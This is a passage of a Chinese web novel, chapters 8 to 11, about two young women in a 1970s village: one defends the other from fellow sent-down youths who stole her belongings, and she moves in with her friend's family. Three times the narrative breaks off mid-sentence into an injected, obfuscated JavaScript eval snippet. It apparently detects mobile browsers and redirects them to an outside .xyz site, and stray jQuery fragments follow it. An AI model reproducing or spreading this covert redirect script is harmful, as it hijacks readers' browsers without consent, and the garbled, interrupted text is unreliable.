季白青对他微微一笑,在她眼神的压迫之下,陆延最终还是屈服了。 “是我满嘴……喷……粪,我、我错了。” 温淼上前一步,站到季白青身边,直直看着陆延,仿佛是在看什么垃圾。 她说:“没听见,大声点。” 陆延深吸一口气,“是我满嘴喷粪,我错了!” 季白青轻轻笑了声,摸摸温淼的头,柔声问道:“这下消气没有?” 在温淼面前柔声细语的模样与刚才完全不同。 温淼点了点头,突然转身回到房间,拿出一个小盒子。 她将盒子打开,一时间七八条手表展露出来,有海鸥牌、梅花牌、劳力士、欧米茄……成色很新,几块机械表的光泽折射出来晃人眼睛。 她拎着表带在五个人面前轻轻晃了晃,桃花眼弯起,里面不带任何温度,反而有些嘲讽。 “手表我多的是,没必要拿别人的。” 表带打在一起发出叮当的悦耳声音,温淼看着陆延冷嘲:“不知道你是不是嫉妒我才那么针对我,真可惜,这些东西我想要就能有,不用像你一样乞怜摇尾。” 8. 第 8 章 季白青眼神在几个人身上巡视一圈,见他们多多少少脸上都带了几分妒意,瞬间觉得温淼这样在知青点住下去也不是办法。 万一之后她的东西被别人给偷了,又被人刻意针对该怎么办? 好在知青点的位置偏僻,周围也没什么住户,即使现在动静闹得大也没有人过来看热闹。 她将手里的小盒子递给温淼,示意她将手表都放进来。 现在这个时代,还是财不外漏的好,免得招惹了不必要的麻烦。 温淼轻轻哼了一声,将表收起来。 这场闹剧总算是结束了。 季白青向王大娘道谢,她摆了摆手,笑眯眯地和季白青聊了几句后就离开了。 她走后,温淼看着剩下的几个人,慢悠悠吹了吹指甲。 “别忘了明天去广播站给我道歉。” 闻言,几人面色又是一变,最后陆延自觉没脸,先一步回到了房间,将门重重一甩。 其他人也陆陆续续地回了房间。 最后堂屋只剩下了季白青和温淼两人。 云水村已经通了电,但村里愿意多出一分钱去牵电线的却寥寥无几,知青点自然也是没有通电的,只能借着落进来的那点温凉月色看清面前的人。 季白青望向温淼莹白的侧脸,突然上前将她轻轻抱住,将头埋在了她的脖颈间蹭了蹭,柔软的发丝刮过她的下颌。 温淼还来不及推开,就听见女人开口。 季白青的声音有些闷,“温淼,你难过吗?” 温淼呼吸一滞,下意识想要将人推开,但被季白青紧紧抱着,难以推动分毫。 “我、我难过什么?” 她声音一向轻软,但也不至于说到最后几个字的时候就失了声调。 季白青将人抱紧了一些,两人身体之间的间隙消失,上半身紧紧贴合,可以感受到对方柔软丰盈的曲线。 “你为什么不难过?被随意污蔑,被恶意针对的时候你为什么不难过?!你应该难过的!” 季白青的声音微微加重,想起来原书中温淼此次被人针对的场景,她鼻腔泛酸。 书里没有自己的温淼,在孤立无援的时候会不会偷偷躲起来哭鼻子呢? 温淼咬着唇,想要从季白青带着皂角清香的怀抱中挣脱,却还是被人死死抱住。 也对,能轻易打过陆延的人,怎么想力气都是比她大的。 像是被季白青低落的情绪传染了一般,温淼的眼睫湿润,水光将视力模糊,她声音带着哽咽: “季白青,你放开我!” “我不难过,这样的场面我见多了,我为什么会难过!” 这句话刚说完,她有些庆幸现下光线昏暗了,想要将眼中的泪逼回去的时候,温淼突然僵直了身体。 她能感受到,肩膀处的布料还有露出来的部分肩膀被打湿了。 季白青……哭了吗? 她伸出了手,犹豫要不要上去摸一摸,却听见了季白青的话。 “温淼,我好难过。” 温淼在这之前对季白青的印象就是冷淡温柔又独立,没想到她会在自己面前哭成这样。 一时间,她也有些无措。 “你难过什么?”她心烦意乱。 季白青仿佛要将所有的委屈都通过眼泪释放一样,瘦瘦高高的一个人,偏要弯腰蜷在她的肩膀上,让她整个肩膀都变得湿哒哒的。 “替你难过,”女人的声音委屈极了,说出来的话却是温淼没有想到的,“一想到你被别人欺负我就很难受。” 温淼愣住,过了好一会儿才说:“可每次我都会还手,最后都是他们被我欺负。” 她的本意是想要让季白青别哭了,但是听了这话的季白青眼泪好像掉的更欢了。 “可是又不是你主动惹事的,这算什么欺负,你什么都没做错,不过是以牙还牙罢了。” 季白青抽抽噎噎地说,一边觉得自己好不容易立起来的人设被自己打破,有些丢脸,一方面又哭得完全停不下来。 温淼不希望别人觉得自己可怜,但是面对这样真诚的季白青却觉得手足无措,不知道该怎么劝她。 最后她只能叹出一口气,将手慢慢地放到了季白青的背上,而后轻轻拍了拍。 她温和下声音,哄人的意味分外浓厚,“好了,不难过了,你不是今天帮我反击了?” 季白青呜咽一声,“以前有人帮你吗?” 没有,温淼在心里回应了一声。 但这个答案肯定是不能直接告诉季白青的,不然小哭包的眼泪会直接把知青点淹了。 她含糊其辞地换了个话题,“季白青,你现在多大?” 季白青果不其然被她带跑,在她修长的的脖颈间蹭了蹭,语气闷闷地回答:“十九,怎么了?” 果然如此,原来现在埋在自己怀里像只委屈小兽的人还是个小孩子呢。 她语气带着点儿笑,“我大你三岁,你应该叫姐姐。” 季白青果断摇了摇头,“不要。” 明明她穿过来的时候都已经二十八岁了,谁叫谁姐姐还不一定呢! 和温淼聊了几句之后,她终于止住了泪腺,再回想刚才的一举一动,季白青难得觉得不好意思。 她好像随着年龄的变小,现在变得更幼稚了。 可算是不哭了,温淼松了一口气。 她将人带到门口,打开了手电筒,专心地在盒子里挑挑选选,最后选了一条细链手表,展示给季白青看,问: “好看吗?” 季白青点了点头,不得不说,温淼果然是从小被娇养大的,审美很好,平时穿的衣服漂亮又精致,选的配饰自然也是如此。 见她点头,温淼垂下眸子,抓住她细窄的手腕,将她那块破旧的手表取下来。 意识到了对方想要干什么之后,季白青立马想要收回手,拒绝道: “不行,这是你的东西,不能给我。” 温淼瞪着她,眉心一皱,季白青下意识安静下来,乖乖看着女人动作。 细链机械表戴在她冷白的手腕上,显得越发秀气。 女人满意地点了点头,“我们不是朋友吗?收朋友送的礼物很正常吧?” 季白青原本准备好的拒绝说辞瞬间被这句话堵了回去,看着手上小巧的手表,越看越喜欢。 这还是温淼送给她的第一份礼物,不对,第一份礼物是手电筒才对。 这是第二份礼物。 眼见着天色渐晚,夜色越来越浓,温淼怕何香月她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496229|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心,便催促道: “好了,好好收着我送你的东西,快回去吧。” 季白青抓着手电筒,犹犹豫豫好一会儿,还没走。 温淼看着她,有些疑惑,用眼神询问她怎么了。 “温淼……姐姐,你要不去我家住吧。” 为了让温淼同意,她还特意用上了撒娇的语调,刚才百般推拒觉得羞耻的称呼也用上了。 温淼拧着眉,“为什么?” 季白青:“我不想让你继续受委屈了,如果姐姐来我家住的话,我肯定不会让你受委屈的。” 听她这么说,温淼肯定是有些动容的,但脑子里各种情绪交织在一起,有些混乱。 但她不想麻烦别人,下意识要拒绝,但是看着季白青那双黑眸里的期待,话到了嘴边又被咽了下去。 “让我想想好吗?” 季白青重重点了点头,没有听见拒绝就好。 她回去的路上心情还不错,到家的时候季伟和何香月还没睡。 “白青,你怎么回来的这么晚?”何香月披着件外套,刚和季伟商量女儿还不回来就去找人了。 季白青将知青点发生的事简单说了一遍,听完后季伟和何香月都有些心疼温淼。 何香月叹了一口气,“明明我瞧着淼淼是个好孩子,怎么知青点那群人一点也容不下她呢!” 季伟沉声道:“今年分到我们村里的那些知青没几个好的,偷奸耍滑就算了,还爱惹事。” 他和村长本就没指望着知青下乡来干多少活,之前公社里开会也多少听到了别的村抱怨知青躲懒,所以对这些知青也不抱什么希望,只要不主动惹事就好。 没想到才刚到没几天,就要惹出事端。 他立即拍板:“明天我就给他们多安排点活儿!累了回去就没心思吵了。” 季白青在一边补充:“让温淼和狗蛋她们一起去割猪草吧,她身体弱,不能总在地里晒着。” “行。” 大部分村民不愿去割猪草的原因都是工分太少,干这些活的都是些毛都没长齐的小家伙,加一个温淼进去并不难,到时候工分如实登记便好。 两口子回房间之前,季白青突然想起还有件事没和他们说。 “爹、娘,我想让温淼来我们家住,可以吗?我怕她在知青点受欺负。” 何香月和季伟对视一眼,一时间觉得有些难办。 “这……温知青同意了吗?”一想到家里有外人,季伟有些不自在。 季白青摇了摇头。 一边何香月悄悄拧了一把季伟的腰,立马拍板:“只要淼淼不嫌弃的话,她想来随时就能来。” 听见了她娘的话,季白青总算是露出了笑。 往日沾床就睡的季白青难得有些失眠,在床上打了个滚后,又坐起来抹黑摸了摸被褥。 她的床够大,温淼和她一起睡没关系。 但床单和被套应该换一套新的,以免温淼嫌弃,可家里没有那么多布料。 想到这,季白青又躺了下去,翻了个身,有些郁闷。 先前还想着一直咸鱼下去的想法被打破,如果手上没有足够多的钱的话,该怎么把矜贵的恶毒女配给养好呢? 不行,她得想办法多赚点钱! 9. 第 9 章 有了季伟和村长提前沟通,沈念念和潘红霞被分了单独一块地除草,要在下工之前干完。 陆延他们则是被分去了挑水,虽然没有挑粪臭,但最近的河离地上有一定的距离,来来回回几趟能让一个大男人累得不行。 温淼被分配去割猪草,季白青忙活完自己的活儿就去找她。 转悠了大半个村子,最终才在田埂看到了她。 她穿着一身白色的荷叶边裙子,外面套着绀青色开衫,卷曲长发披散肩头,素面朝天的模样也分外动人,只是低着头不知道正在干什么。 季白青的心微微一动,大步走上前,趁她不注意直接勾住她的肩头,“温淼,你在干什么?” 温淼被突然出现的人吓了一跳,听见了熟悉的声音后才放松,指了指正在树叶上蠕动的东西。 “蜗牛。” 季白青啧了一声,“你不是要割猪草,还不动手。” 温淼朝她狡黠一笑,桃花眼弯起来的模样像极了一只狐狸,灵动又美艳。 “我让几个小家伙帮我割猪草。” 她将手摊开,手心躺着一颗巧克力。 “这叫巧克力,有点苦,中间是流心的。” 季白青毫不客气地拿起巧克力,指尖微微剐蹭过柔嫩的手心,等到剥开糖纸,无意间又往她手心看一眼,才发现她手心起的水泡。 一时间巧克力的味道如何被她忽略,季白青囫囵吞咽了下去,心疼地捧起女人的手仔细查看。 白皙柔嫩的手掌起了好几个泛白的水泡。 季白青有些懊恼,早就知道恶毒女配是个娇小姐,昨天还是第一次干活,怎么能不想到这一层呢。 没干过粗活的人身体反应总是要比常人明显一些。 她轻轻吹了吹温淼的手心,问她:“疼不疼啊?” 温淼被她皱着脸的模样逗笑,慵懒地笑了笑,“其实还好。” 疼是肯定有一点的,她皮肤太过娇嫩。 但是一向要强的人面对季白青的关心,即使已经承认了二人之间那层朋友的关系,她还是不习惯在她人面前示弱。 季白青想想书中温淼所展现出来的性格,倒也将她摸得差不多,只是在心里微微叹了一口气,才开口: “去我家吧,帮你把水泡挑破,不然之后一直很疼的。” 听她这么说,温淼有些犹豫,将自己的手缩到后背,看着纤瘦女人澄澈的眸子,一时间有些心虚,慢吞吞道: “还是算了吧,过几天应该自己就消了。” 她似乎是怕疼,看着温淼眼中藏着的几丝怯意,季白青得出这个结论,一时间有些哭笑不得。 谁能猜到原书中看起来不可一世的恶毒女配居然怕疼呢? 季白青又突然想起后期的恶毒女配被男人家暴,心梗了一瞬,沉默着攥住温淼的手腕往她家里走。 将针灼烧过一遍消毒后,季白青抓紧她的手腕,这才终于开口说话。 “姐姐,乖一点,不是很疼,如果不挑破的话,以后会更严重的。” 她都这样说了,温淼更是没有任何拒绝的余地,只能撇过头去,尽量不去看那残忍的一幕。 等到两只手上的水泡都被挑破之后,季白青吐出一口气,给她覆上捣碎的蒲公英汁液。 她一抬头就能看到温淼因为疼痛而湿润的睫毛,安抚性地摸摸她的发丝,“好了,你先保持这个姿势,等药草干了再动。” 说完,季白青盯着温淼的脸专注地看了好一会儿,最后又叹了一口气。 温淼见不惯她唉声叹气的模样,翻了个白眼,“你干什么?” 季白青如实说:“只是觉得温淼你好像有点多灾多难。” 下乡第一天就晕倒,第二天发烧,现在手上又起水泡。 温淼低头看着自己满是绿色汁液的手,低声说:“以后习惯了就不会了。” 季白青震惊地看着她,声音拉高:“你怎么能这么想?!” 温淼有些莫名地看着她,难道她说的话有什么不对的吗? “你本来……那个我看你家境肯定很好,为什么要强求和我们这些乡下的泥腿子一样?”季白青觉得不太能接受,温淼怎么会冒出来这么荒谬的想法。 温淼不知道该怎么回答,沉默了一会,“但是我已经下乡了,下地上工我不能不做。” 如果可以的话,她也不想下乡,她从被千娇万宠着的大小姐变成如今灰头土脸的知青,其中的落差可谓不小。 但是她只能被时代裹挟向前,现在唯一能做的就是干完分内的活。 知青如果不好好干活,是可能会被送去农场改造的,那里的日子更不好过,温淼不会想去。 季白青被她说的又有些难过了,用那双盛着忧郁的眸子看着温淼,欲言又止。 “温淼,会好起来的。” 现在恶毒女配并不完全信任她,即使季白青做出了什么承诺她大概也是不信的,所以季白青只能将那些想法压在心底。 她一定要想办法让温淼的生活过得越来越好,让她回家,做回她的大小姐。 一时间两人间的气氛有些凝滞,温淼看了眼已经干了的手,打破了沉默,“你看看现在是不是好了?” 季白青捏着她的指尖仔细看了看,“嗯,但是先别洗掉。” 说完这句话,她忽然想起昨天晚上的问题。 “对了,温淼,你想好了吗?要不要来我家住?” 温淼看着她满眼的期待,拒绝的话说出来的话,她不会又要哭吧? 想到这里,她最终还是换了个回答,“季白青,我想再多考虑几天。” 这回答虽然让季白青有些失落,但也在意料之中,她点了点头。 挑水泡花了不少时间,这会儿有人来敲门,季白青拉开门一看,面前是个小女孩,穿着满是补丁的衣服,赤脚站着,指了指身后满满一大筐的猪草。 “满满,你怎么来了?”来人是村尾李大脚家的大女儿李满。 “姐姐,你看到了仙女姐姐了吗?” 仙女姐姐?是在说温淼吗? 季白青看了眼屋子里的温淼,温淼听着她们的对话也走到门口,看着一筐压得结结实实满满当当的猪草,对小姑娘弯了弯唇,“谢谢你啊。” 温淼的手上还带着汁液,侧过身去示意季白青从她的口袋里抓一把糖果给李满。 “糖和饼都行,别给巧克力,巧克力是酒心的,小孩子吃不了。”她特意提醒了一句。 几颗酥糖和两块饼干放到了李满的手心,李满露出了牙龈笑,“谢谢仙女姐姐!姐姐明天还能找我帮你干活吗?” 温淼求之不得,“当然可以。” 得到了自己满意的答案之后,李满就小跑着离开了。 季白青幽怨地看了眼温淼,“怎么不让我给你干活,仙女姐姐,我也可以给你干活的~” 她学着满满对温淼的称呼。 温淼瞪她,“不要,给小孩一点赚零嘴的机会吧。” 季白青也不是想着一定要给温淼干活,只是见女人对孩子多了几分耐心,一时间有些吃醋,别别扭扭好一会儿才把自己哄好。 接下来的一段时间,日子倒是和平常一样过,温淼每天割猪草的活都交给满满干,小家伙的家人见她每天能换到些吃的喝的也高兴。 温淼每天在季白青家吃饭,倒也学会了怎么给灶眼添柴加火,平日里没什么事的时候就在季白青的那张书桌上看书,写写画画,只有晚上会回知青点休息。 沈念念和陆延他们的白眼温淼就当看不到,自从上次五个人在广播里对温淼道歉,让村里人看了一通热闹之后,他们对温淼越发不待见。 不过温淼自我惯了,也不在意他们的行为,反正……还有季白青陪着她。 前几天是清明节,恰好碰上了大雨,季家没来得及去扫墓。 这几年的政策放松了不少,云水村里的人对此心照不宣,都是偷摸着就上了山。 温淼不是季家人,自然是不用去的,她一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496230|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留在季家不自在,拿了两个何香月做好的艾叶糍粑就打算回知青点吃。 她回到知青点的时候,正看见潘红霞拿着她的香皂在屋檐下洗手,她用完后是方海洋。 冷眼看着两个人偷摸着用自己的香皂,看方海洋最后将香皂扔进香皂盒中,她冷不丁开了口: “我的香皂好用吗?” 方海洋和潘红霞都被她突然出现的声音吓了一跳,按理来说这个时候温淼是不应该出现在知青点的,不然两个人也不敢被她发现。 注意到潘红霞的视线落在女知青的房间后又立马缩了回来,温淼迅速进了屋子,拉开虚掩着的房间门。 沈念念穿着一身水红色长裙,对着镜子正在擦脸。 听见了门口的声响也只是道:“红霞,你帮我把那狐狸精的项链拿来。” 哒、哒、哒。 矮跟小皮鞋落地的声音响起,沈念念突然意识到了不对劲。 平日里潘红霞寡言,但是她说什么对方都是回应的,怎么今天…… 她转过投去,看见了来人是谁的时候,眼睛惊恐地瞪大。 “温、温淼,你怎么回来了!” 温淼扯出一个笑,看着镜子里照映出来的那张妩媚的脸,压平唇角。 “怎么,我不该回来吗?打扰了你们的好兴致了?” “我以为和我一起住在知青点的是有头有脸的京市知青,没想到现在才发现,原来是一群爱偷东西的老鼠。” 沈念念听了她的一番话后有些羞恼,瞪着她的眼睛鼓鼓。 “温淼,你太自私了!” “明明有这么多好东西,为什么要藏着掖着不和我们分享?如果我们不用的话,这些东西你根本就用不完!应该是你要谢谢我们才对。” 那边其他知青听见了动静也纷纷涌到了门口,吴严青本就对温淼怀恨在心,此时听了沈念念的话更是同意的不能再同意了。 他小鸡啄米般点头,“对啊,温淼,你本来在我们知青里就不合群,整天跟个村姑混在一起,你给你的好东西给我们用用,我们反而还能够接纳你一点。” 温淼闻言冷嗤一声,将他们几个人扫视一圈,问:“你们都是这样认为吗?” 在她目光的注视之下,潘红霞抿着唇,僵硬地点了点头。 陆延眼神有些复杂地看向她,最后说:“温淼,之前的事我就不和你计较了,但你也要知道,每次都是你太咄咄逼人了。不过是用了你的香皂而已,能值几个钱,至于衣服,念念穿了你就送给她啊,你不是有那么多。” 温淼歪了歪头,眼神里情绪莫名,“你要是喜欢和别人分享的话,那就把你的衣服给别人,用不着你帮我支配我的东西,我的东西我想怎么安排就怎么安排。” 陆延瞬间哽住,“我的衣服怎么可能……我的衣服别人都穿不上。” 更何况,吴严青和方海洋两个男人整天干活累出一身大汗,他有些洁癖。 温淼没再说话,开始清点她的东西。 沈念念见她安静下来,弯起了唇,以为她是被说服了,不再和自己计较,顿时心情愉悦。 其他知青显然也是和她一样的想法,又站了一会儿,发现温淼没再找事之后就散开了。 温淼对自己的东西一向都有规划,带来的东西全都记录过一遍,清点好全部的东西后,发现果然少了不少物品。 香皂少了一块,原本只用了浅浅一层的雪花膏现在见了底,衣服和裙子也有几条不见了,在沈念念那找到四件,潘红霞那找到一件。 带来的糕点也在不知不觉中剩的只有一点,好在放钱和票的箱子被她锁起来,没人能够打开。 她将这些折算成钱,最终扔了一张纸在沈念念他们面前。 此时他们正在吃着饭,碗里是压得结实的米饭,对着绿油油的菜叶子也能够更有胃口一些。 一张轻飘飘的纸落在桌上,陆延皱眉拿起来看了一眼,眉间皱褶顿时加深。 “这么贵,你怎么不去抢?!” 10. 第 10 章 温淼的东西都都是小姨们和外婆精挑细选的,就连香皂都带着她喜欢的蔷薇香,衣服那些更是款式精美,零零碎碎十几个东西加起来也到了一百八十块。 都够买一辆凤凰自行车了! 温淼懒得看他,“这些都是按照物品的八折价格折算,你们谁用的东西,谁就记得给钱给我。” 沈念念和潘红霞看了那账单之后,脸色也瞬间变得难看起来,潘红霞嘴唇嗫嚅,望向她的眼神带着祈求。 “温淼,我把衣服还给你行不行?我错了,我不该拿你的东西的,你知道,我拿不出这么多钱来……” 潘红霞算是温淼的旧识,两人住的近,不过一个住在独户的四合院里,一个住在人挤人的大杂院中,潘红霞在家还是不受待见的老二。 但这和温淼都没关系,她们的情谊早就在潘红霞一次次为了合群而沉默,或是对自己中伤中消磨的差不多了。 她拧着眉,拒绝了。 “这和我没关系,如果能想到衣服的价值的话,最开始就不应该没经过我的同意乱用我的东西。” 潘红霞眼眶顿时红了,突然看向方海洋,指着他的指尖颤抖:“都是他!他说我穿你的那件衣服好看,我才……才鬼迷心窍拿了你的衣服。” 如果方海洋不说那一句的话,她肯定不会乱拿温淼的东西的! 方海洋立即站了起来,举起拳头作势就要向她脸上砸去,怒道:“你个臭娘们!难道是我逼你偷的东西吗?” 眼见着拳头要落在她的脸上,潘红霞的身体僵直,被吓得立刻闭上了眼睛。 结果想象中的拳头并没有落到自己身上,反而听见了方海洋发出的一声哀嚎。 一睁眼,方海洋脸色痛苦地捂着裆部,眼神憎恨地看着温淼。 温淼淡定地收回了腿,扯出一个笑,“方海洋,你不也偷用了我的东西,还想恼羞成怒打人,五十步笑百步有意思吗?” “总之,这些钱你们想办法一周之内凑齐,否则我就直接报警了,把你们这群小偷抓起来。” 说完,不顾其他人是什么表情,她转身回了房间。 看着女知青凌乱的房间,温淼叹了一口气。 她不是什么蠢货,自然也知道合群这件事有多重要,但从一开始,她就因为沈念念和其他人就站在了对立面。 现在他们之间彻底撕开了脸面,温淼此时也不得不重新思考去季白青住的可行性。 她纠结的点是,季家对她来说是个陌生的存在,其中的不确定性太多,如果以后和季白青决裂了,她再搬回来吗? 那时候的知青点恐怕也容不下她。 她自认为,对季白青并没有那么了解,更何况她一向都是惹人嫌的存在,季白青对她的喜欢又能够维持多久,如果一直不回应她的话,她又会不会恼羞成怒呢? 这些温淼都不知道,不能给出一个确切的答案。 想着这些事情,她一时间有些头疼。 季白青……值得她的信任吗? - 季白青下午扫墓还顺带捡了不少的菌菇,其中青头菌最多,这玩意儿炖肉吃很香。 除此之外,她和何香月他们还扯了一大麻袋的笋,回到家后看到屋子里空无一人,她猜温淼应该是回了知青点。 还没有到饭点,她也不着急去叫大美人,而是和何香月坐在了门口剥笋。 一大袋子的笋虽然不要钱和票,但是要把笋皮扒完也要花不短时间。 这么多笋,也吃不完,留下一两餐的量,剩下的焯水沥干,再晾晒成笋干就能留到冬天,笋干不仅可以炖鸡,和猪肉一起炒时还很香。 等到她们将一麻袋的笋剥完之后,何香月烧水煮笋,季白青从水井里打了一桶水上来,洗了个手,此时已经暮色四合。 平日里这个时间过来吃饭的温淼却不见了身影,季白青有些担心,村子不大,总不能是迷路了吧。 虽然温淼已经是个成年人了,但是季白青还是放心不下,和何香月他们说了一声之后就去了知青点。 到了知青点的时候,方海洋还对她翻了个白眼,阴阳怪气道:“你快让温淼别住知青点了吧,一天天的就属她最金贵。” 季白青勾住他的衣领,沉着脸:“难道这里是你买的屋子?温淼爱住哪住哪,和你有什么关系?嘴那么碎小心挨打。” 季白青先前打陆延的画面还历历在目,方海洋也知道这是个不好惹的怪力女,一时间被吓软了腿,只能强装镇定。 “放……放开我,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496231|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可什么都没做,你要是敢打我的话,我、我就去告诉村长!” “怂货。”季白青轻嗤一声,将他放开,敲了敲女知青房间的门。 没多久,潘红霞来开门,怯怯看了她一眼,最后出了门。 屋子里的沈念念见来人是她,将帕子往床上一扔、白眼往上一翻,也出去了。 房间里只剩下温淼和季白青两个人。 季白青看着坐在床边的温淼,伸出手摸了摸她的脸颊,声音不复刚才的冷硬,温声询问: “这是怎么了?怎么看着那么不高兴?” 温淼抿了抿唇,原本镇定的表现在季白青的温柔询问之下溃不成军,眼眶瞬间红了。 看向季白青的时候,女人的浅色眼眸中还含着盈盈水光,看起来楚楚可怜。 “季白青,我还能去你家住吗?” 季白青眨了眨眼,一瞬间以为是自己听错了。 毕竟温淼之前的态度一直很抵触,不愿意给她添麻烦,她原本还可惜了好一阵子。 没想到现在女人居然又改变了主意。 她坐到了温淼的身边,捏着她尖尖的下巴左右看了看,用指腹给她擦了擦湿润的眼角。 “我们淼淼怎么这么委屈?” 顿了一会儿,她又说:“只要你愿意,我的卧室房门一直对你敞开。” 温淼扭过头,从她的手里挣脱,按着她的头放在自己的颈窝。 她觉得有些丢脸,这是第二次在年岁比自己小的女人面前哭,还要对方来安慰自己。 “嗯。”她低低应了一声。 鼻尖是女人身上的馨香,季白青心安理得地闻着她身上的气味,小狗一样四处嗅嗅。 突然问出一句:“温淼,你平时都擦的什么啊?好香。” “……” 温淼面无表情地将她推开,吐出两个字。 “流氓。” 季白青有些摸不着头脑,她这也没说什么啊。 只是觉得温淼的身上很香而已,好朋友之间不可以分享对方的体香吗? 不过……她看着温淼面上淡淡的粉,心想,可能恶毒女配是这样的,口是心非,还很容易害羞。 所以她应该更加主动,让温淼习惯和她贴贴! 11. 第 11 章 季白青十分无辜地看着女人,再次重复一遍:“可就是很香啊,让人闻了还想闻。” 温淼:“……” 温淼摸着黑发下温度灼人的耳垂,不想理她了。 她今天一个下午的时间,已经将东西收拾的差不多了。 季白青看着叠放在一起的手提箱和包裹,问她:“现在搬回去吗?” 温淼摇了摇头,“先等等,还有事情没处理完。” 季白青跟着她一起出了房间,去了临时搭建的厨房。 知青下乡第一年每个月有三十斤国家发的供应粮,都是没脱皮的稻谷,脱壳后只能剩下二十多斤。 她将一袋没有拆开的粮食找出来,刚想要提起来,却发现好像比自己想象中的重。 季白青见温淼的模样,憋笑道:“给我吧,我力气大。” 温淼抿了抿唇,看着季白青轻松将三十斤的粮食背起来。 季白青问:“走吧,再把你的东西慢慢搬回家去。” 她一手扛着粮食,另一只手拿着捆好的被褥往外走,正在门口扎马步的陆延见状,立马阻止。 “你个村姑拿着我们的粮食要去哪?!” 季白青只是抬眼淡淡看了他一眼,他像是突然想起了前段时间的痛,往后退了一步。 温淼拎着两个包裹在后面跟着,眼都没抬,还是那句话:“好狗不挡道。” 陆延一噎,刚想开口反击,那两个可恶的女人已经走远了。 两个人走在路上,季白青感叹一句:“那些知青还挺烦人的,也难怪你住不下去。” 她也没有问温淼同意和她一起住的原因是什么,毕竟每个人都有自己的隐私。 但是原书的男主却一直像个苍蝇似的在她旁边嗡嗡作响,季白青还是能够感受到的。 温淼也赞同地点了点头,突然有些委屈地说了一句:“明明我什么都没干。” 季白青一怔,勾起了唇,附和道:“对啊,我们温淼好委屈的。” 明明在书里是恶毒女配,却被男女主主动招惹,结仇之下打不过主角光环,还要被肆意报复。 怎么想都觉得委屈极了。 四月天色暗的晚了些,远天是一大片橘色的霞光,不知道哪来的一阵风吹得树叶簌簌作响,温淼的心也被吹得一颤。 也不知道为什么,她在季白青面前,好像越来越自如,以前面对亲人才有的状态也展示在了对方面前,明明她是再警惕不过的人,怎么却偏偏对季白青有了不一样的反应? 温淼搞不明白。 她在发呆时,季白青见她动作慢下来,问:“是不是太重了?我还可以拿个包裹,拿不动了就给我。” 温淼回神,摇了摇头,抱紧了怀里的东西,小跑了两步到季白青身边。 “没有,我能拿得动。” 温淼的东西还是挺多的,好在季白青力气大,干脆直接背了个大背篓,方便装更多的东西,左边一件行李,右边一个手提箱,大包小包、大摇大摆地将温淼的东西一点点地挪到自己的房间里去。 等到东西都搬进季白青的房间之后,季家开饭了。 季伟给每个盛好了红薯饭,今天炒了个笋,还做了个青头菌。 看着绿油油、毫无荤腥的两碗菜,季白青默默叹了一口气。 穿进书里之后一切都好,就是没办法每天吃到肉。 十天半个月吃一顿都算是好的。 但没办法,她家三代贫民,钱没多少,票更是难弄到。 饭桌上,季白青将温淼要在季家住下来的消息简单说了。 何香月很热情,“淼淼,要是有什么需要的就和婶子说,让老季去给你置办,你和白青是好姐妹,就把这当成你的家了,千万不要拘谨!” 看温淼轻轻点头,季白青有些汗颜,心想,娘,你这一番话一说,让别人压力更大了。 果不其然,吃完饭后,当着众人的面,温淼拿出来十张大团结给了何香月。 “婶子,这些是我在这里的借住费用,我不能白在你家吃住,所以你一定要收下。” 这年头一斤大米也就几分钱,乡下人家一年攒下的钱不过十几二十,温淼掏出来的这些前对季家来说可谓是巨款了。 何香月眼睛瞪大,第一时间就是拒绝,“不行,不行,怎么能收你这么多钱呢!你快收下,不然就是和你婶子过不去!” 温淼眉眼间有些无奈,眼中带了点笑意,解释到:“这些钱主要是给家里改善一下伙食。” 她面色有些为难,“我在家吃|精米吃习惯了,我这里还有些粮票,其实我也有私心,这些钱和票是想要我能够吃好一点。” 说完,她将一沓大团结往何香月的怀里一扔,就拉过季白青往房间里跑。 看着怀里的钱,何香月和季伟对视了一样。 何香月最后还是没忍住,摸了摸崭新的纸币,感叹道:“乖乖,这么多钱。” 季白青被温淼拉到房里后就立马栓好了门。 她对喘气的温淼说:“放心吧,我妈现在进不来了。” 温淼脸颊红扑扑的,抬起头对季白青一笑,明眸皓齿、唇瓣红润。 她像是个第一次做了坏事的孩子,觉得刺激的同时又有一些担心:“季白青,你说我刚才对不对,给你娘钱你娘会不会生气?” 季白青拖过一张椅子示意她坐下,稍后回答:“你做得对,花点钱能够让你住的安心的话那这钱就很有必要花。” 温淼有些惊讶,没想到她居然没有劝自己不用多给那钱。 不过她说的和温淼所想的几乎差不多。 温淼将脸凑到季白青耳边,轻声说:“其实我还有很多钱。” 